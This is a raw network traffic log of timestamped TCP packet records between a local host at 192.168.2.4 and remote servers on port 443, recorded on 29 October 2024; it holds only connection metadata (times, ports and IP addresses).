Oct 29, 2024 10:47:53.716991901 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.717114925 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.717454910 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.717470884 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.723150969 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.723227978 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.723292112 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.723777056 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.723797083 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.723824024 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.723851919 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.726802111 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.726830006 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.726898909 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.727129936 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.727143049 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.795664072 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.795819998 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.795886993 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.796583891 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.796622992 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.799443960 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.799515963 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.799563885 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.804502010 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.804514885 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.809004068 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.809034109 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.809082031 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.809299946 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.809313059 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.809664965 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.809680939 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:53.809736013 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.809959888 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:53.809971094 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.263226032 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.263741016 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.263777971 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.264127970 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.264136076 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.393094063 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.393249989 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.393400908 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.393469095 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.393469095 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.393491030 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.393502951 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.396265030 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.396306038 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.396590948 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.396632910 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.396637917 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.447606087 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.448426008 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.448426008 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.448457956 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.448470116 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.464615107 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.465392113 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.465392113 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.465408087 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.465420961 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.545896053 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.546834946 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.546834946 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.546844959 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.546855927 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.548943996 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.549664021 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.549664021 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.549685955 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.549694061 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.578736067 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.578898907 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.579018116 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.579117060 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.579117060 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.579133987 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.579143047 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.581593990 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.581634998 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.581707001 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.581834078 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.581851006 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.595662117 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.595745087 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.595832109 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.596069098 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.596081972 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.596121073 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.596127033 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.598114967 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.598153114 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.599745989 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.599879980 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.599895954 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.676276922 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.676352024 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.676589012 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.676589012 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.676666975 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.676680088 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.679363012 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.679392099 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.679533958 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.679613113 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.679620981 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.679949999 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.680090904 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.680377007 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.680377007 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.680407047 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.680425882 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.682320118 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.682351112 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.682512045 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.682635069 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:54.682646036 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:54.856834888 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:54.856877089 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:54.857006073 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:55.143958092 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.144488096 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.144506931 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.144973040 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.144979954 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.280879021 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.281075954 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.281164885 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.281349897 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.281364918 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.281419039 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.281426907 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.284394979 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.284486055 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.284626961 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.284780025 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.284816027 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.330874920 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.331329107 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.331343889 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.331799984 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.331805944 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.355705023 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.356065989 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.356082916 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.356441975 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.356448889 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.412770033 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.413187981 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.413204908 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.413566113 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.413573027 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.427006006 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.427351952 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.427362919 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.427791119 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.427797079 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.460211992 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.460292101 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.460401058 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.460735083 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.460748911 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.460762024 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.460774899 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.464221954 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.464314938 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.464390039 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.464580059 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.464616060 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.487759113 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.487845898 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.487942934 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.487947941 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.487998009 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.488060951 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.488080025 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.488095045 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.488102913 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.490084887 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.490130901 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.490271091 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.490420103 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.490448952 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.542607069 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.542707920 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.542757988 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.542768002 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.542798996 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.542848110 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.542939901 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.542949915 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.542964935 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.542970896 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.545171976 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.545205116 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.545275927 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.545387030 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.545408010 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.557765007 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.557914972 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.557964087 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.558020115 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.558027029 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.558037996 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.558043003 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.559937954 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.559978008 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:55.560043097 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.560154915 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:55.560174942 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.066474915 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.067013979 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.067080021 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.067447901 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.067461014 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.197637081 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.198693991 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.198693991 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.198771954 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.198800087 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.204823971 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.204971075 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.205161095 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.205161095 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.205240965 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.205277920 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.207849026 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.207907915 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.208040953 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.208209038 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.208230019 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.240102053 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.241202116 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.241203070 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.241238117 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.241276026 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.284262896 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.285271883 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.285271883 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.285301924 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.285336018 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.287553072 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.287919044 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.287950993 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.288461924 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.288475990 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.298053980 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:56.298079014 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:56.328568935 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.328742027 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.328988075 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.328988075 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.329082966 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.329119921 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.331820965 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.331885099 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.331991911 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.332139015 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.332160950 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.373876095 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.373924017 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.374042988 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.374099970 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.374334097 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.374335051 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.374335051 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.376826048 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.376871109 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.377083063 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.377163887 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.377173901 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416177034 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416282892 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416327000 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416426897 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416518927 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.416521072 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.416594028 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.416594028 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.416614056 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.416614056 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.416624069 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416647911 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416649103 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.416676998 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.418951988 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.418962002 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.418987989 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.419001102 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.419066906 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.419074059 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.419217110 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.419234037 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.419322968 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.419333935 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.687103033 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.687175989 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.936805010 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.937463045 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.937494993 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:56.938093901 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:56.938112020 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.064512014 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.064721107 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.064973116 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.064973116 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.065025091 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.065047979 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.067605019 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.067647934 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.067780972 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.068047047 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.068058968 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.068166971 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.068758965 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.068793058 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.068962097 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.068968058 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.147900105 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.148292065 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.148300886 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.148912907 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.148917913 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.149472952 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.149791002 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.149821043 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.150259018 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.150270939 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.169333935 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.169677019 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.169698000 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.170125008 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.170133114 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.199460983 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.199526072 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.199630022 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:57.199675083 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:57.199740887 CET	49894	443	192.168.2.4	13.107.246.45
